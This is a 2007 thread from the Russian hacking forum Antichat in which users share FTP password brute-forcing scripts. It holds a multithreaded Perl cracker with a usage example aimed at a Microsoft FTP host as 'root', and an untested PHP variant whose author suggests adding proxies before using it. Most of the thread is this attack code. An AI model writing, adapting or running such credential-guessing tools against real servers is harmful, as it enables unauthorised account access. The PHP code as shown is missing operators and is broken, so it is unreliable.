Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   ФТП брутер (https://forum.antichat.xyz/showthread.php?t=55661)

Spyder 12.12.2007 23:26

ФТП брутер
 
Кароче я знаю что в инете полно таких брутеров. Я писал для освоения Perl'a
Брутер многопоточный
Код:

#!perl -w
use strict;
use Net::FTP; # if doesn't work use NET::FTP
use threads;
use threads::shared;
my @pass : shared;
my @trl;
my $ip = "$ARGV[0]";
my $login = "$ARGV[1]";
my $thr = $ARGV[2];
open (SRC, "$ARGV[3]") or die "Can't open:$!";
Next:
@pass = pass();
for(0..$thr)
{
$trl[$_] = threads->create(\&Brut, $ok);
}
for(0..$thr)
{
$trl[$_]->join;
}
sub Brut
{
while (@pass)
{
my $pass = shift @pass;
print "Checking password : \t$pass\n";
my $ftp = Net::FTP->new($ip);
$ok = $ftp->login($login,$pass);
if ($ok) {
print "Pass for $ip is $pass\n";
exit;
}
}
}
goto Next;

sub pass
{
my (@mas);
while (<SRC>){
push @mas, $_;
last if (@mas > 300);
}
chomp @mas;
my $n = @mas;
if ($n == 0) {
        print "Password not found\n";
        exit;
} else {
return @mas;
}
}

запускаем
perl bruteng.pl <хост> <логин> <файл_с_паролями> <потоки>
perl bruteng.pl ftp.microsoft.com root C:/xek.txt 100

ЗЫ Вроде работает :D

scrat 12.12.2007 23:31

было бы интересно посмотреть на php

Spyder 12.12.2007 23:33

многопоточности в пшп как таковой нету. Вернее есть, но через анал =\

C!klodoL 12.12.2007 23:40

$login = "$ARGV[1]";
$ip = "$ARGV[0]";
это лучше вынести в начало кода, а не каждый раз в потоке присваивать значение переменным

Spyder 12.12.2007 23:42

помойму у меня какая то проблема вызникала с этим и я решил забить =)))
Вобщем учту и доработаю. Написал версию с ГУИ но там какие то траблы небольшие были, мб позже выложу

blackybr 13.12.2007 00:02

молодца..
кстати очень интересно посмотреть
как ты реализовал threads + tk :))

Spyder 13.12.2007 00:10

вот с этим проблемка и возникла
После того как брутер находит верный пасс записывает его в файл и выполняет die, после чего интепритатор перла выдаёт ошибку, типа невозможно создать новый поток ибо die()
По идее он работает, просто несовем эстетично
Кароче как разберусь, выложу

n3m0 13.12.2007 00:15

Ну вот пример на PHP:

PHP код:

<?php
if ($argc ) {
$ftp_server $argv[1];
$ftp_user_name $argv[2];
$conn_id ftp_connect($ftp_server);
$f fopen($argv[3],"r");
while(!
feof($f))
{
$ftp_user_pass fgets($f,255);

$login_result ftp_login($conn_id$ftp_user_name$ftp_user_pass); 

 if (
$login_result)) { 
        echo 
"password found! ftp://$ftp_user_name@$ftp_server where password : $ftp_user_pass";
    }

}
fclose($argv[3]);
ftp_close($conn_id); 
} else
{
echo 
"Usage: ".$argv[0]." ftp.server usename password.txt";

}
?>

работоспособность не гарантирую, так как не проверял.

ЗЫ осталось прокси добавить и можна юзать ))

Ni0x 13.12.2007 00:41

Цитата:

PHP-FTPbrute v0.1a\n\n\t c0d3d by n3m0
Строчка просто убила. Что за мания писать примитивный код и вставлять свои нелепые с0ded by ... version 0.0.0.1 pre alpha. На всякий случай, если будут баги, можно списать все на альфа-версию ;) .

n3m0 13.12.2007 00:47

та то по приколу написал))) Вообще топик не моему скрипту посвящен. Уделайте внимание ТСу


Время: 00:56